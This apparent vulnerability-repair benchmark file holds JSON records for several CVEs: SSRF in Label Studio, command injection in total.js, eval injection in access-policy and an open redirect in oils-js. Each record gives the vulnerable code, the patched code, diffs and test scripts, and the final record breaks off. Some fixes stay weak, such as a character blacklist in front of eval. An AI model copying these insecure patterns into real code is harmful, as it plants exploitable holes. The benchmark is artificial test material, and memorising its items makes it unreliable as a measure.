{"cve_id": "CVE-2022-36551", "cve_description": "A Server Side Request Forgery (SSRF) in the Data Import module in Heartex - Label Studio Community Edition versions 1.5.0 and earlier allows an authenticated user to access arbitrary files on the system. Furthermore, self-registration is enabled by default in these versions of Label Studio enabling a remote attacker to create a new account and then exploit the SSRF.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/heartexlabs/label-studio", "patch_url": ["https://github.com/heartexlabs/label-studio/commit/501142cb815ac964b0c600c491885b67386870c2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_122_1", "commit": "ad29804", "file_path": "label_studio/data_import/uploader.py", "start_line": 143, "end_line": 202, "snippet": "def load_tasks(request, project):\n    \"\"\" Load tasks from different types of request.data / request.files\n    \"\"\"\n    file_upload_ids, found_formats, data_keys = [], [], set()\n    could_be_tasks_lists = False\n\n    # take tasks from request FILES\n    if len(request.FILES):\n        check_file_sizes_and_number(request.FILES)\n        for filename, file in request.FILES.items():\n            file_upload = create_file_upload(request, project, file)\n            if file_upload.format_could_be_tasks_list:\n                could_be_tasks_lists = True\n            file_upload_ids.append(file_upload.id)\n        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n\n    # take tasks from url address\n    elif 'application/x-www-form-urlencoded' in request.content_type:\n        # empty url\n        url = request.data.get('url')\n        if not url:\n            raise ValidationError('\"url\" is not found in request data')\n\n        # try to load json with task or tasks from url as string\n        json_data = str_to_json(url)\n        if json_data:\n            file_upload = create_file_upload(request, project, SimpleUploadedFile('inplace.json', url.encode()))\n            file_upload_ids.append(file_upload.id)\n            tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n            \n        # download file using url and read tasks from it\n        else:\n            if settings.SSRF_PROTECTION_ENABLED and url_is_local(url):\n                raise ImportFromLocalIPError\n            data_keys, found_formats, tasks, file_upload_ids = tasks_from_url(\n                file_upload_ids, project, request, url\n            )\n\n    # take one task from request DATA\n    elif 'application/json' in request.content_type and isinstance(request.data, dict):\n        tasks = [request.data]\n\n    # take many tasks from request DATA\n    elif 'application/json' in request.content_type and isinstance(request.data, list):\n        tasks = request.data\n\n    # incorrect data source\n    else:\n        raise ValidationError('load_tasks: No data found in DATA or in FILES')\n\n    # check is data root is list\n    if not isinstance(tasks, list):\n        raise ValidationError('load_tasks: Data root must be list')\n\n    # empty tasks error\n    if not tasks:\n        raise ValidationError('load_tasks: No tasks added')\n\n    check_max_task_number(tasks)\n    return tasks, file_upload_ids, could_be_tasks_lists, found_formats, list(data_keys)"}], "fix_func": [{"id": "fix_py_122_1", "commit": "501142c", "file_path": "label_studio/data_import/uploader.py", "start_line": 143, "end_line": 206, "snippet": "def load_tasks(request, project):\n    \"\"\" Load tasks from different types of request.data / request.files\n    \"\"\"\n    file_upload_ids, found_formats, data_keys = [], [], set()\n    could_be_tasks_lists = False\n\n    # take tasks from request FILES\n    if len(request.FILES):\n        check_file_sizes_and_number(request.FILES)\n        for filename, file in request.FILES.items():\n            file_upload = create_file_upload(request, project, file)\n            if file_upload.format_could_be_tasks_list:\n                could_be_tasks_lists = True\n            file_upload_ids.append(file_upload.id)\n        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n\n    # take tasks from url address\n    elif 'application/x-www-form-urlencoded' in request.content_type:\n        # empty url\n        url = request.data.get('url')\n        if not url:\n            raise ValidationError('\"url\" is not found in request data')\n\n        # try to load json with task or tasks from url as string\n        json_data = str_to_json(url)\n        if json_data:\n            file_upload = create_file_upload(request, project, SimpleUploadedFile('inplace.json', url.encode()))\n            file_upload_ids.append(file_upload.id)\n            tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n            \n        # download file using url and read tasks from it\n        else:\n            if settings.SSRF_PROTECTION_ENABLED and url_is_local(url):\n                raise ImportFromLocalIPError\n\n            if url.strip().startswith('file://'):\n                raise ValidationError('\"url\" is not valid')\n\n            data_keys, found_formats, tasks, file_upload_ids = tasks_from_url(\n                file_upload_ids, project, request, url\n            )\n\n    # take one task from request DATA\n    elif 'application/json' in request.content_type and isinstance(request.data, dict):\n        tasks = [request.data]\n\n    # take many tasks from request DATA\n    elif 'application/json' in request.content_type and isinstance(request.data, list):\n        tasks = request.data\n\n    # incorrect data source\n    else:\n        raise ValidationError('load_tasks: No data found in DATA or in FILES')\n\n    # check is data root is list\n    if not isinstance(tasks, list):\n        raise ValidationError('load_tasks: Data root must be list')\n\n    # empty tasks error\n    if not tasks:\n        raise ValidationError('load_tasks: No tasks added')\n\n    check_max_task_number(tasks)\n    return tasks, file_upload_ids, could_be_tasks_lists, found_formats, list(data_keys)"}], "vul_patch": "--- a/label_studio/data_import/uploader.py\n+++ b/label_studio/data_import/uploader.py\n@@ -32,6 +32,10 @@\n         else:\n             if settings.SSRF_PROTECTION_ENABLED and url_is_local(url):\n                 raise ImportFromLocalIPError\n+\n+            if url.strip().startswith('file://'):\n+                raise ValidationError('\"url\" is not valid')\n+\n             data_keys, found_formats, tasks, file_upload_ids = tasks_from_url(\n                 file_upload_ids, project, request, url\n             )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-28494", "cve_description": "This affects the package total.js before 3.4.7. The issue occurs in the image.pipe and image.stream functions. The type parameter is used to build the command that is then executed using child_process.spawn. The issue occurs because child_process.spawn is called with the option shell set to true and because the type parameter is not properly sanitized.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/totaljs/framework", "patch_url": ["https://github.com/totaljs/framework/commit/6192491ab2631e7c1d317c221f18ea613e2c18a5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_22_1", "commit": "79e84ad", "file_path": "image.js", "start_line": 319, "end_line": 340, "snippet": "ImageProto.stream = function(type, writer) {\n\n\tvar self = this;\n\n\t!self.builder.length && self.minify();\n\n\tif (!type)\n\t\ttype = self.outputType;\n\n\tF.stats.performance.open++;\n\tvar cmd = spawn(CMD_CONVERT[self.cmdarg], self.arg(self.filename ? wrap(self.filename) : '-', (type ? type + ':' : '') + '-'), SPAWN_OPT);\n\tif (self.currentStream) {\n\t\tif (self.currentStream instanceof Buffer)\n\t\t\tcmd.stdin.end(self.currentStream);\n\t\telse\n\t\t\tself.currentStream.pipe(cmd.stdin);\n\t}\n\n\twriter && writer(cmd.stdin);\n\tvar middleware = middlewares[type];\n\treturn middleware ? cmd.stdout.pipe(middleware()) : cmd.stdout;\n};"}], "fix_func": [{"id": "fix_js_22_1", "commit": "6192491ab2631e7c1d317c221f18ea613e2c18a5", "file_path": "image.js", "start_line": 320, "end_line": 341, "snippet": "ImageProto.stream = function(type, writer) {\n\n\tvar self = this;\n\n\t!self.builder.length && self.minify();\n\n\tif (!type || !SUPPORTEDIMAGES[type])\n\t\ttype = self.outputType;\n\n\tF.stats.performance.open++;\n\tvar cmd = spawn(CMD_CONVERT[self.cmdarg], self.arg(self.filename ? wrap(self.filename) : '-', (type ? type + ':' : '') + '-'), SPAWN_OPT);\n\tif (self.currentStream) {\n\t\tif (self.currentStream instanceof Buffer)\n\t\t\tcmd.stdin.end(self.currentStream);\n\t\telse\n\t\t\tself.currentStream.pipe(cmd.stdin);\n\t}\n\n\twriter && writer(cmd.stdin);\n\tvar middleware = middlewares[type];\n\treturn middleware ? cmd.stdout.pipe(middleware()) : cmd.stdout;\n};"}, {"id": "fix_js_22_2", "commit": "6192491ab2631e7c1d317c221f18ea613e2c18a5", "file_path": "image.js", "start_line": 41, "end_line": 41, "snippet": "const SUPPORTEDIMAGES = { jpg: 1, png: 1, gif: 1, apng: 1, jpeg: 1, heif: 1, heic: 1, webp: 1, ico: 1 };"}], "vul_patch": "--- a/image.js\n+++ b/image.js\n@@ -4,7 +4,7 @@\n \n \t!self.builder.length && self.minify();\n \n-\tif (!type)\n+\tif (!type || !SUPPORTEDIMAGES[type])\n \t\ttype = self.outputType;\n \n \tF.stats.performance.open++;\n\n--- /dev/null\n+++ b/image.js\n@@ -0,0 +1 @@\n+const SUPPORTEDIMAGES = { jpg: 1, png: 1, gif: 1, apng: 1, jpeg: 1, heif: 1, heic: 1, webp: 1, ico: 1 };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-28494:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/framework\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2020-7674", "cve_description": "access-policy through 3.1.0 is vulnerable to Arbitrary Code Execution. User input provided to the `template` function is executed by the `eval` function resulting in code execution.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/TupleAustin/access-policy", "patch_url": ["https://github.com/TupleAustin/access-policy/commit/b5b12e22887a782d8b56a0464db7aaa22cc36d73"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_20_1", "commit": "64d9bdb", "file_path": "lib/encode.js", "start_line": 3, "end_line": 7, "snippet": "function template(literal, data) {\n  var tmpl = literal.replace(/(\\$\\{)/gm, '$1data.');\n\n  return eval('`' + tmpl + '`');\n}"}], "fix_func": [{"id": "fix_js_20_1", "commit": "b5b12e22887a782d8b56a0464db7aaa22cc36d73", "file_path": "lib/encode.js", "start_line": 3, "end_line": 35, "snippet": "function template(literal, data) {\n  var tmpl = literal.replace(/(\\$\\{)/gm, '$1data.');\n  let blacklist = ['&', ';', '|', '-', '$', '`', '||'];\n\n  if (blacklist.some(v => tmpl.includes(v))) {\n    for(var i=0; i<tmpl.length; i++){\n      if(blacklist.includes(tmpl[i])){\n        tmpl = tmpl.replace(tmpl[i], \"\");\n      }\n    }\n  } \n  return eval('`' + tmpl + '`');\n}\n\nfunction encodeStatements(statements, data) {\n  if (!statements) {\n    throw new SyntaxError('Must include statements to encode');\n  }\n\n  if (!data) {\n    return statements;\n  }\n\n  var output = template(JSON.stringify(statements), data);\n  output = JSON.parse(output);\n\n  Object.defineProperty(output, 'encoded', {\n    __proto__: null,\n    value: true\n  });\n\n  return output;\n}"}], "vul_patch": "--- a/lib/encode.js\n+++ b/lib/encode.js\n@@ -1,5 +1,33 @@\n function template(literal, data) {\n   var tmpl = literal.replace(/(\\$\\{)/gm, '$1data.');\n+  let blacklist = ['&', ';', '|', '-', '$', '`', '||'];\n \n+  if (blacklist.some(v => tmpl.includes(v))) {\n+    for(var i=0; i<tmpl.length; i++){\n+      if(blacklist.includes(tmpl[i])){\n+        tmpl = tmpl.replace(tmpl[i], \"\");\n+      }\n+    }\n+  } \n   return eval('`' + tmpl + '`');\n }\n+\n+function encodeStatements(statements, data) {\n+  if (!statements) {\n+    throw new SyntaxError('Must include statements to encode');\n+  }\n+\n+  if (!data) {\n+    return statements;\n+  }\n+\n+  var output = template(JSON.stringify(statements), data);\n+  output = JSON.parse(output);\n+\n+  Object.defineProperty(output, 'encoded', {\n+    __proto__: null,\n+    value: true\n+  });\n+\n+  return output;\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7674:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/access-policy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7674:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/access-policy\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --grep \"should not allow path '/user/12345/bill'|should throw a SyntaxError|should return the exact policy when no data is provided|should return an object|should throw a syntax error with less than 2 parameters|should thorw a syntax error when missing \\`action\\`|should not allow path '/user/123456'|should thorw a syntax error when missing \\`resource\\`|should always be false when length 0|should throw a type error\""}
{"cve_id": "CVE-2021-4260", "cve_description": "A vulnerability was found in oils-js. It has been declared as critical. This vulnerability affects unknown code of the file core/Web.js. The manipulation leads to open redirect. The attack can be initiated remotely. The name of the patch is fad8fbae824a7d367dacb90d56cb02c5cb999d42. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216268.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/mannyvergel/oils-js", "patch_url": ["https://github.com/mannyvergel/oils-js/commit/fad8fbae824a7d367dacb90d56cb02c5cb999d42"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_157_1", "commit": "ec0db45", "file_path": "core/Web.js", "start_line": 24, "end_line": 134, "snippet": "  constructor(customConf) {\n\n    let web = this;\n    web.lib = web.lib || {};\n\n    let webId = nanoidInsecure();\n    web.id = webId;\n\n    Object.defineProperty(web.lib, 'mongoose', {\n      get: function() {\n        let stack = new Error().stack;\n        console.warn(\"Use web.require('mongoose') instead of calling web.lib..\", stack);\n        return require('mongoose');\n      }\n    });\n\n    if (!global._web) {\n      global._web = {};\n    }\n\n    let conf = {};\n\n    if (!conf.baseDir) {\n      let tmpBaseDir = __filename.substr(0, __filename.indexOf('node_modules') - 1);\n      if (!stringUtils.isEmpty(tmpBaseDir)) {\n        conf.baseDir = tmpBaseDir;\n      }\n    }\n\n    if (global._web[conf.baseDir]) {\n      throw new Error(\"Web has been redefined \" + conf.baseDir + \" vs \" + JSON.stringify(callerId.getData()));\n    }\n\n    global._web[conf.baseDir] = web;\n\n    if (!global.hasOwnProperty('web')) {\n      Object.defineProperty(global, 'web', {\n        get: function() {\n          if (Object.keys(global._web).length === 1) {\n            return web;\n          }\n\n          for (let i in global._web) {\n            if (stringUtils.startsWith(callsites()[1].getFileName(), i)) {\n              //console.warn('Found new web! ' + i);\n              return global._web[i];\n            }\n          }\n\n          throw new Error(\"Web cache not found \" + JSON.stringify(callerId.getData()));\n          //return web;\n        }\n      })\n    }\n \n    //load custom config file\n    this.conf = require('./conf/conf-default.js')();\n    this.conf = extend(this.conf, conf);\n    \n    if (this.conf.customConfigFile) {\n      let customConf = requireNvm(path.join(this.conf.baseDir, this.conf.customConfigFile));\n      if (customConf) {\n        this.conf = extend(this.conf, customConf);\n      }\n    }\n\n    if (this.conf.pluginsConfPath) {\n      console.log(\"Reading plugins conf\", this.conf.pluginsConfPath);\n      this.conf.plugins = this.conf.plugins || {};\n      this.conf.plugins = extend(this.conf.plugins, web.includeNvm(this.conf.pluginsConfPath));\n    }\n\n    //zconf: third config path for environmental / more private properties\n    if (this.conf.zconf === true) {\n      let customConf = requireNvm(path.join(this.conf.baseDir, 'conf', 'zconf.js'));\n      if (customConf) {\n        console.info('Found zconf... extending.');\n        this.conf = extend(this.conf, customConf);\n      }\n    } else if (this.conf.zconf) {\n      let zconf = requireNvm(this.conf.zconf);\n      if (zconf) {\n        this.conf = extend(this.conf, zconf);\n        console.info('Found zconf.. extending.');\n      } else {\n        console.warn(web.conf.zconf, 'not found. Ignoring.');\n      }\n    }\n\n    if (customConf) {\n      this.conf = extend(this.conf, customConf);\n    }\n\n    this.logger = require('./utils/logger.js')(this);\n\n    console.isDebug = this.conf.isDebug;\n    if (console.isDebug) {\n      console.debug('Oils config: ' + JSON.stringify(this.conf, null, 2));\n    }\n\n    this.app = express();\n    this.events = {};\n    this.modelCache = new Object();\n    this.plugins = [];\n\n    this.overrideResponse();\n\n    if (this.conf.extendWeb && this.conf.extendWeb.enabled) {\n      webExtender.load(this, this.conf.extendWeb.path, this.conf.extendWeb.context);\n    }\n  }"}, {"id": "vul_js_157_2", "commit": "ec0db45", "file_path": "core/conf/conf-default.js", "start_line": 6, "end_line": 125, "snippet": "module.exports = function(webSel) {\n  let conf = {\n    baseDir: process.cwd(),\n    isProd: isProd,\n    isProduction: isProd,\n\n    dataDir: 'data',\n    tmpDir: 'data/tmp',\n\n    extendWeb: {\n      enabled: true,\n      path: '/conf/ext',\n      context: {\n        ext: {\n          // put all extensions here\n        }\n      }\n    },\n\n    logWorkerId: false,\n    logger: {\n      replaceWith: 'winston',\n\n      winston: {\n        logToFile: {\n          enabled: isProd,\n          dailyRotate: {\n            enabled: isProd,\n            filenameFormat: '%DATE%-results.log',\n            datePattern: 'YYYY-MM-DD',\n            //zippedArchive: true,\n            maxSize: '20m',\n            maxFiles: '14d'\n          }\n        }\n      },\n    },\n    \n    logDir: 'data/logs',\n\n    saveRawBody: false,\n\n    // set when behind a trusted proxy, see express' trust proxy settings\n    trustProxy: false,\n\n    viewConf: {\n      mainTemplate: 'templates/main.html',\n      template: 'bootstrap', // zurb or bootstrap, but doesn't make a diff now\n    },\n\n    viewsDir: '/web/src/views',\n    controllersDir: '/web/src/controllers',\n    modelsDir: '/web/src/models',\n    publicDir: '/web/public',\n    customConfigFile: '/conf/conf.js',\n\n    routesFile: '/conf/routes.js',\n\n    publicContext: '/', // better to serve static files in a diff directory e.g. /public/\n\n    enableCsrfToken: false,\n    validateNoSqlInject: true,\n    cookieMaxAge: 2592000000, // 30 days\n    secretPassphrase: 'change-this-it-is-2019!',\n    defaultRandomStringByteLength: 16, \n    port: process.env.OILS_PORT ? parseInt(process.env.OILS_PORT) : 8080,\n    ipAddress: process.env.OILS_IP || '0.0.0.0',\n    zconf: path.join(require('os').homedir(), \".oils\", \"zconf.js\"), //e.g. ~/.oils/zconf.js in mac/linux\n    isDebug: !isProd,\n    connectionPoolSize: 5,\n    connections: {\n      // only mongoose connections are support for now\n      // you can specify multiple connections and specify the connection in your model.\n      // if you don't need a db, you can remove/comment out mainDb\n      mainDb : {\n        url: 'mongodb://localhost:27017/test'\n      }\n    },\n\n    pluginsConfPath: null,\n\n    saveDb: async function(doc, req, saveOpts) {\n\n      if (!doc) {\n        throw new Error(\"Document expected [1]\");\n      }\n\n      if (!req) {\n        throw new Error(\"Request expected [2]\");\n      }\n\n      if (!doc.isNew) {\n        doc.updateDt = new Date();\n        if (req.user) {\n          doc.updateBy = req.user._id;\n        }\n      } else {\n        if (req.user) {\n          doc.createBy = req.user._id;\n        }\n      }\n\n      await doc.save(saveOpts);\n    },\n\n    httpsOpts: {\n      enabled: false,\n      alwaysSecure: false,\n      letsEncrypt: {\n        \n      }\n    },\n\n    parserLimit: '3mb',\n    parserParameterLimit: 2000,\n    \n  } \n\n  return conf;\n}"}], "fix_func": [{"id": "fix_js_157_1", "commit": "fad8fba", "file_path": "core/Web.js", "start_line": 24, "end_line": 137, "snippet": "  constructor(customConf) {\n\n    let web = this;\n    web.lib = web.lib || {};\n\n    let webId = nanoidInsecure();\n    web.id = webId;\n\n    Object.defineProperty(web.lib, 'mongoose', {\n      get: function() {\n        let stack = new Error().stack;\n        console.warn(\"Use web.require('mongoose') instead of calling web.lib..\", stack);\n        return require('mongoose');\n      }\n    });\n\n    if (!global._web) {\n      global._web = {};\n    }\n\n    let conf = {};\n\n    if (!conf.baseDir) {\n      let tmpBaseDir = __filename.substr(0, __filename.indexOf('node_modules') - 1);\n      if (!stringUtils.isEmpty(tmpBaseDir)) {\n        conf.baseDir = tmpBaseDir;\n      }\n    }\n\n    if (global._web[conf.baseDir]) {\n      throw new Error(\"Web has been redefined \" + conf.baseDir + \" vs \" + JSON.stringify(callerId.getData()));\n    }\n\n    global._web[conf.baseDir] = web;\n\n    if (!global.hasOwnProperty('web')) {\n      Object.defineProperty(global, 'web', {\n        get: function() {\n          if (Object.keys(global._web).length === 1) {\n            return web;\n          }\n\n          for (let i in global._web) {\n            if (stringUtils.startsWith(callsites()[1].getFileName(), i)) {\n              //console.warn('Found new web! ' + i);\n              return global._web[i];\n            }\n          }\n\n          throw new Error(\"Web cache not found \" + JSON.stringify(callerId.getData()));\n          //return web;\n        }\n      })\n    }\n \n    //load custom config file\n    this.conf = require('./conf/conf-default.js')();\n    this.conf = extend(this.conf, conf);\n    \n    if (this.conf.customConfigFile) {\n      let customConf = requireNvm(path.join(this.conf.baseDir, this.conf.customConfigFile));\n      if (customConf) {\n        this.conf = extend(this.conf, customConf);\n      }\n    }\n\n    if (this.conf.pluginsConfPath) {\n      console.log(\"Reading plugins conf\", this.conf.pluginsConfPath);\n      this.conf.plugins = this.conf.plugins || {};\n      this.conf.plugins = extend(this.conf.plugins, web.includeNvm(this.conf.pluginsConfPath));\n    }\n\n    //zconf: third config path for environmental / more private properties\n    if (this.conf.zconf === true) {\n      let customConf = requireNvm(path.join(this.conf.baseDir, 'conf', 'zconf.js'));\n      if (customConf) {\n        console.info('Found zconf... extending.');\n        this.conf = extend(this.conf, customConf);\n      }\n    } else if (this.conf.zconf) {\n      let zconf = requireNvm(this.conf.zconf);\n      if (zconf) {\n        this.conf = extend(this.conf, zconf);\n        console.info('Found zconf.. extending.');\n      } else {\n        console.warn(web.conf.zconf, 'not found. Ignoring.');\n      }\n    }\n\n    if (customConf) {\n      this.conf = extend(this.conf, customConf);\n    }\n\n    this.logger = require('./utils/logger.js')(this);\n\n    console.isDebug = this.conf.isDebug;\n    if (console.isDebug) {\n      console.debug('Oils config: ' + JSON.stringify(this.conf, null, 2));\n    }\n\n    this.app = express();\n\n    fixOpenRedirect(this);\n\n    this.events = {};\n    this.modelCache = new Object();\n    this.plugins = [];\n\n    this.overrideResponse();\n\n    if (this.conf.extendWeb && this.conf.extendWeb.enabled) {\n      webExtender.load(this, this.conf.extendWeb.path, this.conf.extendWeb.context);\n    }\n  }"}, {"id": "fix_js_157_2", "commit": "fad8fba", "file_path": "core/conf/conf-default.js", "start_line": 6, "end_line": 126, "snippet": "module.exports = function(webSel) {\n  let conf = {\n    baseDir: process.cwd(),\n    isProd: isProd,\n    isProduction: isProd,\n\n    dataDir: 'data',\n    tmpDir: 'data/tmp',\n    allowedRedirectHosts: [],\n\n    extendWeb: {\n      enabled: true,\n      path: '/conf/ext',\n      context: {\n        ext: {\n          // put all extensions here\n        }\n      }\n    },\n\n    logWorkerId: false,\n    logger: {\n      replaceWith: 'winston',\n\n      winston: {\n        logToFile: {\n          enabled: isProd,\n          dailyRotate: {\n            enabled: isProd,\n            filenameFormat: '%DATE%-results.log',\n            datePattern: 'YYYY-MM-DD',\n            //zippedArchive: true,\n            maxSize: '20m',\n            maxFiles: '14d'\n          }\n        }\n      },\n    },\n    \n    logDir: 'data/logs',\n\n    saveRawBody: false,\n\n    // set when behind a trusted proxy, see express' trust proxy settings\n    trustProxy: false,\n\n    viewConf: {\n      mainTemplate: 'templates/main.html',\n      template: 'bootstrap', // zurb or bootstrap, but doesn't make a diff now\n    },\n\n    viewsDir: '/web/src/views',\n    controllersDir: '/web/src/controllers',\n    modelsDir: '/web/src/models',\n    publicDir: '/web/public',\n    customConfigFile: '/conf/conf.js',\n\n    routesFile: '/conf/routes.js',\n\n    publicContext: '/', // better to serve static files in a diff directory e.g. /public/\n\n    enableCsrfToken: false,\n    validateNoSqlInject: true,\n    cookieMaxAge: 2592000000, // 30 days\n    secretPassphrase: 'change-this-it-is-2019!',\n    defaultRandomStringByteLength: 16, \n    port: process.env.OILS_PORT ? parseInt(process.env.OILS_PORT) : 8080,\n    ipAddress: process.env.OILS_IP || '0.0.0.0',\n    zconf: path.join(require('os').homedir(), \".oils\", \"zconf.js\"), //e.g. ~/.oils/zconf.js in mac/linux\n    isDebug: !isProd,\n    connectionPoolSize: 5,\n    connections: {\n      // only mongoose connections are support for now\n      // you can specify multiple connections and specify the connection in your model.\n      // if you don't need a db, you can remove/comment out mainDb\n      mainDb : {\n        url: 'mongodb://localhost:27017/test'\n      }\n    },\n\n    pluginsConfPath: null,\n\n    saveDb: async function(doc, req, saveOpts) {\n\n      if (!doc) {\n        throw new Error(\"Document expected [1]\");\n      }\n\n      if (!req) {\n        throw new Error(\"Request expected [2]\");\n      }\n\n      if (!doc.isNew) {\n        doc.updateDt = new Date();\n        if (req.user) {\n          doc.updateBy = req.user._id;\n        }\n      } else {\n        if (req.user) {\n          doc.createBy = req.user._id;\n        }\n      }\n\n      await doc.save(saveOpts);\n    },\n\n    httpsOpts: {\n      enabled: false,\n      alwaysSecure: false,\n      letsEncrypt: {\n        \n      }\n    },\n\n    parserLimit: '3mb',\n    parserParameterLimit: 2000,\n    \n  } \n\n  return conf;\n}"}, {"id": "fix_js_157_3", "commit": "fad8fba", "file_path": "core/Web.js", "start_line": 769, "end_line": 803, "snippet": "function fixOpenRedirect(web) {\n  // Fix for open redirect security\n  let redirectSafe = web.app.response.redirect;\n  web.app.response.redirectSafe = function(url) {\n    return redirectSafe.call(this, url);\n  }\n\n  var addHostOnceFlag = true;\n\n  web.app.response.redirect = function(url) {\n  \n    if (url.indexOf('://') != -1) {\n\n      let req = this.req;\n\n      if (addHostOnceFlag) {\n        var host = req.protocol + '://' + req.headers.host;\n        web.conf.allowedRedirectHosts.push(host);\n        addHostOnceFlag = false;\n        console.log(\"Added host once: \" + host);\n      }\n\n      const found = web.conf.allowedRedirectHosts.find(el => url.indexOf(el) == 0);\n\n      if (!found) {\n        var ip = web.utils.getClientIp(req);\n\n        console.warn(\"Open redirect was triggered: \", req.method, req.user ? req.user.email : \"unsigned user\", ip, \"accessed\", req.url, req.headers['user-agent']);\n        throw new Error(\"Action not allowed.\");\n      }\n\n    }\n    return redirectSafe.call(this, url);\n  }\n}"}], "vul_patch": "--- a/core/Web.js\n+++ b/core/Web.js\n@@ -99,6 +99,9 @@\n     }\n \n     this.app = express();\n+\n+    fixOpenRedirect(this);\n+\n     this.events = {};\n     this.modelCache = new Object();\n     this.plugins = [];\n\n--- a/core/conf/conf-default.js\n+++ b/core/conf/conf-default.js\n@@ -6,6 +6,7 @@\n \n     dataDir: 'data',\n     tmpDir: 'data/tmp',\n+    allowedRedirectHosts: [],\n \n     extendWeb: {\n       enabled: true,\n\n--- /dev/null\n+++ b/core/conf/conf-default.js\n@@ -0,0 +1,35 @@\n+function fixOpenRedirect(web) {\n+  // Fix for open redirect security\n+  let redirectSafe = web.app.response.redirect;\n+  web.app.response.redirectSafe = function(url) {\n+    return redirectSafe.call(this, url);\n+  }\n+\n+  var addHostOnceFlag = true;\n+\n+  web.app.response.redirect = function(url) {\n+  \n+    if (url.indexOf('://') != -1) {\n+\n+      let req = this.req;\n+\n+      if (addHostOnceFlag) {\n+        var host = req.protocol + '://' + req.headers.host;\n+        web.conf.allowedRedirectHosts.push(host);\n+        addHostOnceFlag = false;\n+        console.log(\"Added host once: \" + host);\n+      }\n+\n+      const found = web.conf.allowedRedirectHosts.find(el => url.indexOf(el) == 0);\n+\n+      if (!found) {\n+        var ip = web.utils.getClientIp(req);\n+\n+        console.warn(\"Open redirect was triggered: \", req.method, req.user ? req.user.email : \"unsigned user\", ip, \"accessed\", req.url, req.headers['user-agent']);\n+        throw new Error(\"Action not allowed.\");\n+      }\n+\n+    }\n+    return redirectSafe.call(this, url);\n+  }\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-39395", "cve_description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. In Vela Server and Vela Worker prior to version 0.16.0 and Vela UI prior to version 0.17.0, some default configurations for Vela allow exploitation and container breakouts. Users should upgrade to Server 0.16.0, Worker 0.16.0, and UI 0.17.0 to fix the issue. After upgrading, Vela administrators will need to explicitly change the default settings to configure Vela as desired. Some of the fixes will interrupt existing workflows and will require Vela administrators to modify default settings. However, not applying the patch (or workarounds) will continue existing risk exposure. Some workarounds are available. Vela administrators can adjust the worker's `VELA_RUNTIME_PRIVILEGED_IMAGES` setting to be explicitly empty, leverage the `VELA_REPO_ALLOWLIST` setting on the server component to restrict access to a list of repositories that are allowed to be enabled, and/or audit enabled repositories and disable pull_requests if they are not needed.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/go-vela/server", "patch_url": ["https://github.com/go-vela/server/commit/05558ee99d70f7d6f83bed7c8f78ac0b35fa26f4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_118_1", "commit": "1cc1eab", "file_path": "api/repo.go", "start_line": 73, "end_line": 282, "snippet": "func CreateRepo(c *gin.Context) {\n\t// capture middleware values\n\tu := user.Retrieve(c)\n\tallowlist := c.Value(\"allowlist\").([]string)\n\tdefaultBuildLimit := c.Value(\"defaultBuildLimit\").(int64)\n\tdefaultTimeout := c.Value(\"defaultTimeout\").(int64)\n\tmaxBuildLimit := c.Value(\"maxBuildLimit\").(int64)\n\n\t// capture body from API request\n\tinput := new(library.Repo)\n\n\terr := c.Bind(input)\n\tif err != nil 